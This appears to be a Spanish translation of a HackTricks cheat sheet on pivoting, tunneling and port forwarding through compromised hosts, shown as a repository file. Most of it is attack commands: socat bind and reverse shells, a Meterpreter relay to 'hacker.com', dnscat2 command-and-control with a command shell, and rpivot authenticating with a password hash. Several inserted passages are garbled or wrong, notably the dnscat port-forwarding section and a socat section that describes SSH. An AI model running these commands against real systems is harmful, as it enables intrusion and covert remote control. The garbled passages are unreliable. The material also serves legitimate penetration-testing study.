||||
Los escaneos **ICMP** y **SYN** no se pueden tunelizar a través de proxies socks, por lo que debemos **desactivar el descubrimiento de ping** (`-Pn`) y especificar **escaneos TCP** (`-sT`) para que funcione.
|
||||
{% endhint %}
|
||||
|
||||
## **Bash**
|
||||
|
||||
**Host -> Salto -> InternoA -> InternoB**
|
||||
```bash
|
||||
# On the jump server connect the port 3333 to the 5985
|
||||
mknod backpipe p;
|
||||
nc -lvnp 5985 0<backpipe | nc -lvnp 3333 1>backpipe
|
||||
|
||||
# On InternalA accessible from Jump and can access InternalB
|
||||
## Expose port 3333 and connect it to the winrm port of InternalB
|
||||
exec 3<>/dev/tcp/internalB/5985
|
||||
exec 4<>/dev/tcp/Jump/3333
|
||||
cat <&3 >&4 &
|
||||
cat <&4 >&3 &
|
||||
|
||||
# From the host, you can now access InternalB from the Jump server
|
||||
evil-winrm -u username -i Jump
|
||||
```
|
||||
## **SSH**
|
||||
|
||||
Conexión gráfica SSH (X)
|
||||
```bash
|
||||
ssh -Y -C <user>@<ip> #-Y is less secure but faster than -X
|
||||
```
|
||||
### Puerto Local a Puerto Remoto
|
||||
|
||||
Abrir un nuevo puerto en el servidor SSH --> Otro puerto
|
||||
```bash
|
||||
ssh -R 0.0.0.0:10521:127.0.0.1:1521 user@10.0.0.1 #Local port 1521 accessible in port 10521 from everywhere
|
||||
```
|
||||
|
||||
```bash
|
||||
ssh -R 0.0.0.0:10521:10.0.0.1:1521 user@10.0.0.1 #Remote port 1521 accessible in port 10521 from everywhere
|
||||
```
|
||||
### Puerto a Puerto
|
||||
|
||||
Puerto local --> Host comprometido (SSH) --> Tercer\_equipo:Puerto
|
||||
```bash
|
||||
ssh -i ssh_key <user>@<ip_compromised> -L <attacker_port>:<ip_victim>:<remote_port> [-p <ssh_port>] [-N -f] #This way the terminal is still in your host
|
||||
#Example
|
||||
sudo ssh -L 631:<ip_victim>:631 -N -f -l <username> <ip_compromised>
|
||||
```
|
||||
### Port2hostnet (proxychains)
|
||||
|
||||
Puerto local --> Host comprometido (SSH) --> Donde sea
|
||||
```bash
|
||||
ssh -f -N -D <attacker_port> <username>@<ip_compromised> #All sent to local port will exit through the compromised server (use as proxy)
|
||||
```
|
||||
### Reenvío de puertos inverso
|
||||
|
||||
Esto es útil para obtener shells inversos desde hosts internos a través de una DMZ hacia su host:
|
||||
```bash
|
||||
ssh -i dmz_key -R <dmz_internal_ip>:443:0.0.0.0:7000 root@10.129.203.111 -vN
|
||||
# Now you can send a rev to dmz_internal_ip:443 and caputure it in localhost:7000
|
||||
# Note that port 443 must be open
|
||||
# Also, remmeber to edit the /etc/ssh/sshd_config file on Ubuntu systems
|
||||
# and change the line "GatewayPorts no" to "GatewayPorts yes"
|
||||
# to be able to make ssh listen in non internal interfaces in the victim (443 in this case)
|
||||
```
|
||||
### VPN-Tunnel
|
||||
|
||||
Necesitas **tener permisos de root en ambos dispositivos** (ya que vas a crear nuevas interfaces) y la configuración de sshd debe permitir el inicio de sesión como root:\
|
||||
`PermitRootLogin yes`\
|
||||
`PermitTunnel yes`
|
||||
```bash
|
||||
ssh root@server -w any:any #This will create Tun interfaces in both devices
|
||||
ip addr add 1.1.1.2/32 peer 1.1.1.1 dev tun0 #Client side VPN IP
|
||||
ifconfig tun0 up #Activate the client side network interface
|
||||
ip addr add 1.1.1.1/32 peer 1.1.1.2 dev tun0 #Server side VPN IP
|
||||
ifconfig tun0 up #Activate the server side network interface
|
||||
```
|
||||
Habilitar el reenvío en el lado del servidor
|
||||
```bash
|
||||
echo 1 > /proc/sys/net/ipv4/ip_forward
|
||||
iptables -t nat -A POSTROUTING -s 1.1.1.2 -o eth0 -j MASQUERADE
|
||||
```
|
||||
Establecer una nueva ruta en el lado del cliente
|
||||
```
|
||||
route add -net 10.0.0.0/16 gw 1.1.1.1
|
||||
```
|
||||
## SSHUTTLE
|
||||
|
||||
Puedes **tunelizar** todo el **tráfico** hacia una **subred** a través de un host mediante **ssh**.\
|
||||
Por ejemplo, redirigiendo todo el tráfico que va hacia 10.10.10.0/24.
|
||||
```bash
|
||||
pip install sshuttle
|
||||
sshuttle -r user@host 10.10.10.10/24
|
||||
```
|
||||
# Conectar con una clave privada
|
||||
|
||||
En algunos casos, la conexión a un servidor remoto solo es posible mediante una clave privada. En estos casos, se puede utilizar la opción `-i` de `ssh` para especificar la ruta de la clave privada a utilizar.
|
||||
|
||||
```bash
|
||||
ssh -i /path/to/private/key user@host
|
||||
```
|
||||
|
||||
También se puede agregar la clave privada al agente SSH para evitar tener que especificar la ruta de la clave cada vez que se conecta al servidor.
|
||||
|
||||
```bash
|
||||
ssh-add /path/to/private/key
|
||||
ssh user@host
|
||||
```
|
||||
|
||||
Si se tiene una clave privada protegida por contraseña, se debe desbloquear antes de agregarla al agente SSH.
|
||||
|
||||
```bash
|
||||
ssh-add /path/to/unlocked/private/key
|
||||
```
|
||||
```bash
|
||||
sshuttle -D -r user@host 10.10.10.10 0/0 --ssh-cmd 'ssh -i ./id_rsa'
|
||||
# -D : Daemon mode
|
||||
```
|
||||
## Meterpreter
|
||||
|
||||
### Port2Port
|
||||
|
||||
Puerto local --> Host comprometido (sesión activa) --> Tercer\_equipo:Puerto
|
||||
```bash
|
||||
# Inside a meterpreter session
|
||||
portfwd add -l <attacker_port> -p <Remote_port> -r <Remote_host>
|
||||
```
|
||||
### SOCKS
|
||||
|
||||
SOCKS es un protocolo de red que permite a los usuarios de una red privada acceder a Internet a través de un servidor proxy. SOCKS se utiliza comúnmente para eludir las restricciones de red y para ocultar la dirección IP del usuario. SOCKS se puede utilizar para el tráfico de cualquier protocolo de red, incluidos HTTP, SMTP, POP3 y FTP.
|
||||
|
||||
Para usar SOCKS, se necesita un cliente SOCKS y un servidor SOCKS. El cliente SOCKS se ejecuta en la máquina del usuario y se configura para enviar todo el tráfico de red a través del servidor SOCKS. El servidor SOCKS se ejecuta en una máquina remota y actúa como intermediario entre el cliente SOCKS y el destino final de la conexión de red.
|
||||
|
||||
SOCKS es una buena opción para eludir las restricciones de red, ya que no está limitado a un protocolo de red específico y puede enrutar todo el tráfico de red a través del servidor SOCKS. Sin embargo, SOCKS no proporciona cifrado de extremo a extremo, lo que significa que el tráfico de red puede ser interceptado y leído por terceros.
|
||||
```bash
|
||||
background# meterpreter session
|
||||
route add <IP_victim> <Netmask> <Session> # (ex: route add 10.10.10.14 255.255.255.0 8)
|
||||
use auxiliary/server/socks_proxy
|
||||
run #Proxy port 1080 by default
|
||||
echo "socks4 127.0.0.1 1080" > /etc/proxychains.conf #Proxychains
|
||||
```
|
||||
Otra forma:
|
||||
```bash
|
||||
background #meterpreter session
|
||||
use post/multi/manage/autoroute
|
||||
set SESSION <session_n>
|
||||
set SUBNET <New_net_ip> #Ex: set SUBNET 10.1.13.0
|
||||
set NETMASK <Netmask>
|
||||
run
|
||||
use auxiliary/server/socks_proxy
|
||||
set VERSION 4a
|
||||
run #Proxy port 1080 by default
|
||||
echo "socks4 127.0.0.1 1080" > /etc/proxychains.conf #Proxychains
|
||||
```
|
||||
## Cobalt Strike
|
||||
|
||||
### Proxy SOCKS
|
||||
|
||||
Abra un puerto en el servidor de equipo que escuche en todas las interfaces que se puedan usar para **enrutar el tráfico a través del beacon**.
|
||||
```bash
|
||||
beacon> socks 1080
|
||||
[+] started SOCKS4a server on: 1080
|
||||
|
||||
# Set port 1080 as proxy server in proxychains.conf
|
||||
proxychains nmap -n -Pn -sT -p445,3389,5985 10.10.17.25
|
||||
```
|
||||
### rPort2Port
|
||||
|
||||
{% hint style="warning" %}
|
||||
En este caso, el **puerto se abre en el host beacon**, no en el Servidor de Equipo y el tráfico se envía al Servidor de Equipo y desde allí al host:puerto indicado.
|
||||
{% endhint %}
|
||||
```bash
|
||||
rportfwd [bind port] [forward host] [forward port]
|
||||
rportfwd stop [bind port]
|
||||
```
|
||||
A tener en cuenta:
|
||||
|
||||
* El reenvío de puerto inverso de Beacon **siempre tuneliza el tráfico hacia el Servidor de Equipo** y el **Servidor de Equipo envía el tráfico a su destino previsto**, por lo que no debe usarse para relé de tráfico entre máquinas individuales.
|
||||
* El **tráfico se tuneliza dentro del tráfico C2 de Beacon**, no sobre sockets separados, y también funciona sobre enlaces P2P.
|
||||
* **No es necesario ser un administrador local** para crear reenvíos de puerto inversos en puertos altos.
|
||||
|
||||
### rPort2Port local
|
||||
|
||||
{% hint style="warning" %}
|
||||
En este caso, el **puerto se abre en el host de Beacon**, no en el Servidor de Equipo y el **tráfico se envía al cliente de Cobalt Strike** (no al Servidor de Equipo) y desde allí al host:puerto indicado.
|
||||
{% endhint %}
|
||||
```
|
||||
rportfwd_local [bind port] [forward host] [forward port]
|
||||
rportfwd_local stop [bind port]
|
||||
```
|
||||
## reGeorg
|
||||
|
||||
[https://github.com/sensepost/reGeorg](https://github.com/sensepost/reGeorg)
|
||||
|
||||
Necesitas subir un túnel de archivo web: ashx|aspx|js|jsp|php|php|jsp
|
||||
```bash
|
||||
python reGeorgSocksProxy.py -p 8080 -u http://upload.sensepost.net:8080/tunnel/tunnel.jsp
|
||||
```
|
||||
## Chisel
|
||||
|
||||
Puedes descargarlo desde la página de lanzamientos de [https://github.com/jpillora/chisel](https://github.com/jpillora/chisel)\
|
||||
Necesitas usar la **misma versión para el cliente y el servidor**
|
||||
|
||||
### socks
|
||||
```bash
|
||||
./chisel server -p 8080 --reverse #Server -- Attacker
|
||||
./chisel-x64.exe client 10.10.14.3:8080 R:socks #Client -- Victim
|
||||
#And now you can use proxychains with port 1080 (default)
|
||||
|
||||
./chisel server -v -p 8080 --socks5 #Server -- Victim (needs to have port 8080 exposed)
|
||||
./chisel client -v 10.10.10.10:8080 socks #Attacker
|
||||
```
|
||||
### Reenvío de puertos
|
||||
```bash
|
||||
./chisel_1.7.6_linux_amd64 server -p 12312 --reverse #Server -- Attacker
|
||||
./chisel_1.7.6_linux_amd64 client 10.10.14.20:12312 R:4505:127.0.0.1:4505 #Client -- Victim
|
||||
```
|
||||
## Rpivot
|
||||
|
||||
[https://github.com/klsecservices/rpivot](https://github.com/klsecservices/rpivot)
|
||||
|
||||
Túnel inverso. El túnel se inicia desde la víctima.\
|
||||
Se crea un proxy socks4 en 127.0.0.1:1080.
|
||||
```bash
|
||||
attacker> python server.py --server-port 9999 --server-ip 0.0.0.0 --proxy-ip 127.0.0.1 --proxy-port 1080
|
||||
```
|
||||
|
||||
```bash
|
||||
victim> python client.py --server-ip <rpivot_server_ip> --server-port 9999
|
||||
```
|
||||
Pivotar a través de un proxy **NTLM**
|
||||
```bash
|
||||
victim> python client.py --server-ip <rpivot_server_ip> --server-port 9999 --ntlm-proxy-ip <proxy_ip> --ntlm-proxy-port 8080 --domain CONTOSO.COM --username Alice --password P@ssw0rd
|
||||
```
|
||||
|
||||
```bash
|
||||
victim> python client.py --server-ip <rpivot_server_ip> --server-port 9999 --ntlm-proxy-ip <proxy_ip> --ntlm-proxy-port 8080 --domain CONTOSO.COM --username Alice --hashes 9b9850751be2515c8231e5189015bbe6:49ef7638d69a01f26d96ed673bf50c45
|
||||
```
|
||||
## **Socat**
|
||||
|
||||
[https://github.com/andrew-d/static-binaries](https://github.com/andrew-d/static-binaries)
|
||||
|
||||
### Shell de enlace
|
||||
```bash
|
||||
victim> socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane
|
||||
attacker> socat FILE:`tty`,raw,echo=0 TCP4:<victim_ip>:1337
|
||||
```
|
||||
### Shell inversa
|
||||
```bash
|
||||
attacker> socat TCP-LISTEN:1337,reuseaddr FILE:`tty`,raw,echo=0
|
||||
victim> socat TCP4:<attackers_ip>:1337 EXEC:bash,pty,stderr,setsid,sigint,sane
|
||||
```
|
||||
### Port2Port
|
||||
|
||||
Port2Port es una técnica de reenvío de puertos que permite redirigir el tráfico de un puerto local a un puerto remoto a través de una conexión SSH. Esto es útil cuando se necesita acceder a un servicio que se ejecuta en un servidor remoto al que no se puede acceder directamente desde el equipo local.
|
||||
|
||||
Para utilizar Port2Port, se debe establecer una conexión SSH con el servidor remoto y especificar el puerto local y el puerto remoto que se desea redirigir. Una vez establecida la conexión, todo el tráfico que llegue al puerto local será redirigido al puerto remoto a través de la conexión SSH.
|
||||
|
||||
Por ejemplo, si se desea acceder a un servidor web que se ejecuta en el puerto 80 de un servidor remoto, se puede utilizar Port2Port para redirigir el tráfico del puerto 8080 del equipo local al puerto 80 del servidor remoto a través de una conexión SSH. De esta manera, se puede acceder al servidor web remoto desde el equipo local a través del puerto 8080.
|
||||
```bash
|
||||
socat TCP4-LISTEN:<lport>,fork TCP4:<redirect_ip>:<rport> &
|
||||
```
|
||||
### Port2Port a través de socks
|
||||
```bash
|
||||
socat TCP4-LISTEN:1234,fork SOCKS4A:127.0.0.1:google.com:80,socksport=5678
|
||||
```
|
||||
### Meterpreter a través de SSL Socat
|
||||
```bash
|
||||
#Create meterpreter backdoor to port 3333 and start msfconsole listener in that port
|
||||
attacker> socat OPENSSL-LISTEN:443,cert=server.pem,cafile=client.crt,reuseaddr,fork,verify=1 TCP:127.0.0.1:3333
|
||||
```
|
||||
|
||||
```bash
|
||||
victim> socat.exe TCP-LISTEN:2222 OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|TCP:hacker.com:443,connect-timeout=5
|
||||
#Execute the meterpreter
|
||||
```
|
||||
Puedes saltarte un **proxy no autenticado** ejecutando esta línea en lugar de la última en la consola de la víctima:
|
||||
```bash
|
||||
OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|PROXY:hacker.com:443,connect-timeout=5|TCP:proxy.lan:8080,connect-timeout=5
|
||||
```
|
||||
### Túnel SSL con Socat
|
||||
|
||||
**Consola /bin/sh**
|
||||
|
||||
Crear certificados en ambos lados: Cliente y Servidor.
|
||||
```bash
|
||||
# Execute these commands on both sides
|
||||
FILENAME=socatssl
|
||||
openssl genrsa -out $FILENAME.key 1024
|
||||
openssl req -new -key $FILENAME.key -x509 -days 3653 -out $FILENAME.crt
|
||||
cat $FILENAME.key $FILENAME.crt >$FILENAME.pem
|
||||
chmod 600 $FILENAME.key $FILENAME.pem
|
||||
```
|
||||
|
||||
```bash
|
||||
attacker-listener> socat OPENSSL-LISTEN:433,reuseaddr,cert=server.pem,cafile=client.crt EXEC:/bin/sh
|
||||
victim> socat STDIO OPENSSL-CONNECT:localhost:433,cert=client.pem,cafile=server.crt
|
||||
```
|
||||
### Port2Port Remoto
|
||||
|
||||
Conecta el puerto SSH local (22) al puerto 443 del host atacante.
|
||||
```bash
|
||||
attacker> sudo socat TCP4-LISTEN:443,reuseaddr,fork TCP4-LISTEN:2222,reuseaddr #Redirect port 2222 to port 443 in localhost
|
||||
victim> while true; do socat TCP4:<attacker>:443 TCP4:127.0.0.1:22 ; done # Establish connection with the port 443 of the attacker and everything that comes from here is redirected to port 22
|
||||
attacker> ssh localhost -p 2222 -l www-data -i vulnerable #Connects to the ssh of the victim
|
||||
```
|
||||
## Plink.exe
|
||||
|
||||
Es como una versión de consola de PuTTY (las opciones son muy similares a las de un cliente ssh).
|
||||
|
||||
Como este binario se ejecutará en la víctima y es un cliente ssh, necesitamos abrir nuestro servicio ssh y puerto para poder tener una conexión inversa. Luego, para reenviar solo el puerto accesible localmente a un puerto en nuestra máquina:
|
||||
```bash
|
||||
echo y | plink.exe -l <Our_valid_username> -pw <valid_password> [-p <port>] -R <port_ in_our_host>:<next_ip>:<final_port> <your_ip>
|
||||
echo y | plink.exe -l root -pw password [-p 2222] -R 9090:127.0.0.1:9090 10.11.0.41 #Local port 9090 to out port 9090
|
||||
```
|
||||
## Windows netsh
|
||||
|
||||
### Puerto a puerto
|
||||
|
||||
Es necesario ser un administrador local (para cualquier puerto)
|
||||
```bash
|
||||
netsh interface portproxy add v4tov4 listenaddress= listenport= connectaddress= connectport= protocol=tcp
|
||||
# Example:
|
||||
netsh interface portproxy add v4tov4 listenaddress=0.0.0.0 listenport=4444 connectaddress=10.10.10.10 connectport=4444
|
||||
# Check the port forward was created:
|
||||
netsh interface portproxy show v4tov4
|
||||
# Delete port forward
|
||||
netsh interface portproxy delete v4tov4 listenaddress=0.0.0.0 listenport=4444
|
||||
```
|
||||
## SocksOverRDP & Proxifier
|
||||
|
||||
Es necesario tener **acceso RDP al sistema**.\
|
||||
Descarga:
|
||||
|
||||
1. [Binarios SocksOverRDP x64](https://github.com/nccgroup/SocksOverRDP/releases) - Esta herramienta utiliza los `Canales Virtuales Dinámicos` (`DVC`) de la función de Servicio de Escritorio Remoto de Windows. DVC es responsable de **tunelizar paquetes a través de la conexión RDP**.
|
||||
2. [Binario Portátil de Proxifier](https://www.proxifier.com/download/#win-tab)
|
||||
|
||||
En tu ordenador cliente carga **`SocksOverRDP-Plugin.dll`** de esta manera:
|
||||
```bash
|
||||
# Load SocksOverRDP.dll using regsvr32.exe
|
||||
C:\SocksOverRDP-x64> regsvr32.exe SocksOverRDP-Plugin.dll
|
||||
```
|
||||
Ahora podemos **conectarnos** al **objetivo** a través de **RDP** usando **`mstsc.exe`**, y deberíamos recibir un **mensaje** que dice que el complemento **SocksOverRDP** está habilitado y que escuchará en **127.0.0.1:1080**.
|
||||
|
||||
**Conéctese** a través de **RDP** y cargue y ejecute en la máquina víctima el binario **`SocksOverRDP-Server.exe`**:
|
||||
```
|
||||
C:\SocksOverRDP-x64> SocksOverRDP-Server.exe
|
||||
```
|
||||
Ahora, confirma en tu máquina (atacante) que el puerto 1080 está escuchando:
|
||||
```
|
||||
netstat -antb | findstr 1080
|
||||
```
|
||||
Ahora puedes usar [**Proxifier**](https://www.proxifier.com/) **para hacer un proxy del tráfico a través de ese puerto.**
|
||||
|
||||
## Proxificar aplicaciones GUI de Windows
|
||||
|
||||
Puedes hacer que las aplicaciones GUI de Windows naveguen a través de un proxy usando [**Proxifier**](https://www.proxifier.com/).\
|
||||
En **Perfil -> Servidores Proxy** agrega la dirección IP y el puerto del servidor SOCKS.\
|
||||
En **Perfil -> Reglas de Proxificación** agrega el nombre del programa a proxificar y las conexiones a las direcciones IP que deseas proxificar.
|
||||
|
||||
## Bypass de proxy NTLM
|
||||
|
||||
La herramienta mencionada anteriormente: **Rpivot**\
|
||||
**OpenVPN** también puede evitarlo, configurando estas opciones en el archivo de configuración:
|
||||
```bash
|
||||
http-proxy <proxy_ip> 8080 <file_with_creds> ntlm
|
||||
```
|
||||
### Cntlm
|
||||
|
||||
[http://cntlm.sourceforge.net/](http://cntlm.sourceforge.net/)
|
||||
|
||||
Cntlm autentica contra un proxy y enlaza un puerto local que se reenvía al servicio externo que especifiques. Luego, puedes usar la herramienta que elijas a través de este puerto.\
|
||||
Por ejemplo, se puede reenviar el puerto 443.
|
||||
```
|
||||
Username Alice
|
||||
Password P@ssw0rd
|
||||
Domain CONTOSO.COM
|
||||
Proxy 10.0.0.10:8080
|
||||
Tunnel 2222:<attackers_machine>:443
|
||||
```
|
||||
Ahora, si configuras, por ejemplo, en la víctima el servicio **SSH** para que escuche en el puerto 443, puedes conectarte a él a través del puerto 2222 del atacante.\
|
||||
También podrías usar un **meterpreter** que se conecte a localhost:443 y el atacante esté escuchando en el puerto 2222.
|
||||
|
||||
## YARP
|
||||
|
||||
Un proxy inverso creado por Microsoft. Puedes encontrarlo aquí: [https://github.com/microsoft/reverse-proxy](https://github.com/microsoft/reverse-proxy)
|
||||
|
||||
## DNS Tunneling
|
||||
|
||||
### Iodine
|
||||
|
||||
[https://code.kryo.se/iodine/](https://code.kryo.se/iodine/)
|
||||
|
||||
Se necesita acceso de root en ambos sistemas para crear adaptadores tun y tunelizar datos entre ellos utilizando consultas DNS.
|
||||
```
|
||||
attacker> iodined -f -c -P P@ssw0rd 1.1.1.1 tunneldomain.com
|
||||
victim> iodine -f -P P@ssw0rd tunneldomain.com -r
|
||||
#You can see the victim at 1.1.1.2
|
||||
```
|
||||
El túnel será muy lento. Puedes crear una conexión SSH comprimida a través de este túnel usando:
|
||||
```
|
||||
ssh <user>@1.1.1.2 -C -c blowfish-cbc,arcfour -o CompressionLevel=9 -D 1080
|
||||
```
|
||||
### DNSCat2
|
||||
|
||||
****[**Descárgalo aquí**](https://github.com/iagox86/dnscat2)**.**
|
||||
|
||||
Establece un canal C\&C a través de DNS. No necesita privilegios de root.
|
||||
```bash
|
||||
attacker> ruby ./dnscat2.rb tunneldomain.com
|
||||
victim> ./dnscat2 tunneldomain.com
|
||||
|
||||
# If using it in an internal network for a CTF:
|
||||
attacker> ruby dnscat2.rb --dns host=10.10.10.10,port=53,domain=mydomain.local --no-cache
|
||||
victim> ./dnscat2 --dns host=10.10.10.10,port=5353
|
||||
```
|
||||
#### **En PowerShell**
|
||||
|
||||
Puedes usar [**dnscat2-powershell**](https://github.com/lukebaggett/dnscat2-powershell) para ejecutar un cliente dnscat2 en PowerShell:
|
||||
```
|
||||
Import-Module .\dnscat2.ps1
|
||||
Start-Dnscat2 -DNSserver 10.10.10.10 -Domain mydomain.local -PreSharedSecret somesecret -Exec cmd
|
||||
```
|
||||
#### **Reenvío de puertos con dnscat**
|
||||
|
||||
---
|
||||
|
||||
Dnscat es una herramienta que permite el reenvío de puertos a través de DNS. Esto significa que podemos enviar tráfico de red a través de un canal DNS, lo que puede ser útil en situaciones en las que el tráfico de red está restringido o filtrado.
|
||||
|
||||
Para utilizar dnscat, necesitamos un servidor DNS que permita la actualización dinámica de registros DNS. Podemos utilizar un servidor DNS público como `nsupdate.info` o configurar nuestro propio servidor DNS.
|
||||
|
||||
Una vez que tenemos un servidor DNS configurado, podemos utilizar dnscat para crear un túnel de red. Primero, necesitamos iniciar un servidor dnscat en nuestro servidor DNS:
|
||||
|
||||
```
|
||||
dnscat2 --dns <DNS_SERVER_IP>
|
||||
```
|
||||
|
||||
Esto iniciará un servidor dnscat que escuchará en el puerto 53 de nuestro servidor DNS. A continuación, podemos iniciar un cliente dnscat en nuestra máquina local para conectarnos al servidor:
|
||||
|
||||
```
|
||||
dnscat2 --host <DNS_SERVER_IP>
|
||||
```
|
||||
|
||||
Esto iniciará un cliente dnscat que se conectará al servidor dnscat en nuestro servidor DNS. A partir de aquí, podemos utilizar el túnel de red para enviar tráfico a través de DNS.
|
||||
|
||||
Por ejemplo, para reenviar el tráfico del puerto 80 a través del túnel, podemos utilizar el siguiente comando en nuestra máquina local:
|
||||
|
||||
```
|
||||
ssh -R 80:localhost:80 <USERNAME>@<SERVER_IP>
|
||||
```
|
||||
|
||||
Esto reenviará el tráfico del puerto 80 de nuestro servidor al puerto 80 de nuestra máquina local a través del túnel dnscat.
|
||||
|
||||
---
|
||||
|
||||
**Nota:** Dnscat no es una herramienta segura para el anonimato o la privacidad, ya que el tráfico se envía a través de DNS, lo que puede ser monitoreado y filtrado por los proveedores de servicios de Internet y otros atacantes.
|
||||
```bash
|
||||
session -i <sessions_id>
|
||||
listen [lhost:]lport rhost:rport #Ex: listen 127.0.0.1:8080 10.0.0.20:80, this bind 8080port in attacker host
|
||||
```
|
||||
#### Cambiar el DNS de proxychains
|
||||
|
||||
Proxychains intercepta la llamada libc `gethostbyname` y tuneliza la solicitud tcp DNS a través del proxy socks. Por **defecto**, el servidor **DNS** que usa proxychains es **4.2.2.2** (codificado). Para cambiarlo, edite el archivo: _/usr/lib/proxychains3/proxyresolv_ y cambie la IP. Si está en un entorno de **Windows**, podría establecer la IP del **controlador de dominio**.
|
||||
|
||||
## Túneles en Go
|
||||
|
||||
[https://github.com/hotnops/gtunnel](https://github.com/hotnops/gtunnel)
|
||||
|
||||
## Tunneling ICMP
|
||||
|
||||
### Hans
|
||||
|
||||
[https://github.com/friedrich/hans](https://github.com/friedrich/hans)\
|
||||
[https://github.com/albertzak/hanstunnel](https://github.com/albertzak/hanstunnel)
|
||||
|
||||
Se necesita root en ambos sistemas para crear adaptadores tun y tunelizar datos entre ellos utilizando solicitudes de eco ICMP.
|
||||
```bash
|
||||
./hans -v -f -s 1.1.1.1 -p P@ssw0rd #Start listening (1.1.1.1 is IP of the new vpn connection)
|
||||
./hans -f -c <server_ip> -p P@ssw0rd -v
|
||||
ping 1.1.1.100 #After a successful connection, the victim will be in the 1.1.1.100
|
||||
```
|
||||
### ptunnel-ng
|
||||
|
||||
****[**Descárgalo desde aquí**](https://github.com/utoni/ptunnel-ng.git).
|
||||
```bash
|
||||
# Generate it
|
||||
sudo ./autogen.sh
|
||||
|
||||
# Server -- victim (needs to be able to receive ICMP)
|
||||
sudo ptunnel-ng
|
||||
# Client - Attacker
|
||||
sudo ptunnel-ng -p <server_ip> -l <listen_port> -r <dest_ip> -R <dest_port>
|
||||
# Try to connect with SSH through ICMP tunnel
|
||||
ssh -p 2222 -l user 127.0.0.1
|
||||
# Create a socks proxy through the SSH connection through the ICMP tunnel
|
||||
ssh -D 9050 -p 2222 -l user 127.0.0.1
|
||||
```
|
||||
## ngrok
|
||||
|
||||
**[ngrok](https://ngrok.com/) es una herramienta para exponer soluciones a Internet en una sola línea de comando.**
|
||||
*Las URI de exposición son como:* **UID.ngrok.io**
|
||||
|
||||
### Instalación
|
||||
|
||||
- Crear una cuenta: https://ngrok.com/signup
|
||||
- Descargar el cliente:
|
||||
```bash
|
||||
tar xvzf ~/Downloads/ngrok-v3-stable-linux-amd64.tgz -C /usr/local/bin
|
||||
chmod a+x ./ngrok
|
||||
# Init configuration, with your token
|
||||
./ngrok config edit
|
||||
```
|
||||
### Usos básicos
|
||||
|
||||
**Documentación:** [https://ngrok.com/docs/getting-started/](https://ngrok.com/docs/getting-started/).
|
||||
|
||||
*También es posible agregar autenticación y TLS, si es necesario.*
|
||||
|
||||
#### Tunelización TCP
|
||||
```bash
|
||||
# Pointing to 0.0.0.0:4444
|
||||
./ngrok tcp 4444
|
||||
# Example of resulting link: 0.tcp.ngrok.io:12345
|
||||
# Listen (example): nc -nvlp 4444
|
||||
# Remote connect (example): nc $(dig +short 0.tcp.ngrok.io) 12345
|
||||
```
|
||||
#### Exponiendo archivos con HTTP
|
||||
```bash
|
||||
./ngrok http file:///tmp/httpbin/
|
||||
# Example of resulting link: https://abcd-1-2-3-4.ngrok.io/
|
||||
```
|
||||
#### Sniffing de llamadas HTTP
|
||||
|
||||
*Útil para XSS, SSRF, SSTI ...*
|
||||
Directamente desde stdout o en la interfaz HTTP [http://127.0.0.1:4040](http://127.0.0.1:4000).
|
||||
|
||||
#### Tunelización de servicio HTTP interno
|
||||
```bash
|
||||
./ngrok http localhost:8080 --host-header=rewrite
|
||||
# Example of resulting link: https://abcd-1-2-3-4.ngrok.io/
|
||||
# With basic auth
|
||||
./ngrok http localhost:8080 --host-header=rewrite --auth="myuser:mysuperpassword"
|
||||
```
|
||||
#### Ejemplo de configuración simple de ngrok.yaml
|
||||
|
||||
Abre 3 túneles:
|
||||
- 2 TCP
|
||||
- 1 HTTP con exposición de archivos estáticos desde /tmp/httpbin/
|
||||
```yaml
|
||||
tunnels:
|
||||
mytcp:
|
||||
addr: 4444
|
||||
proto: tcp
|
||||
anothertcp:
|
||||
addr: 5555
|
||||
proto: tcp
|
||||
httpstatic:
|
||||
proto: http
|
||||
addr: file:///tmp/httpbin/
|
||||
```
|
||||
## Otras herramientas para revisar
|
||||
|
||||
* [https://github.com/securesocketfunneling/ssf](https://github.com/securesocketfunneling/ssf)
|
||||
* [https://github.com/z3APA3A/3proxy](https://github.com/z3APA3A/3proxy)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
Loading…
Reference in a new issue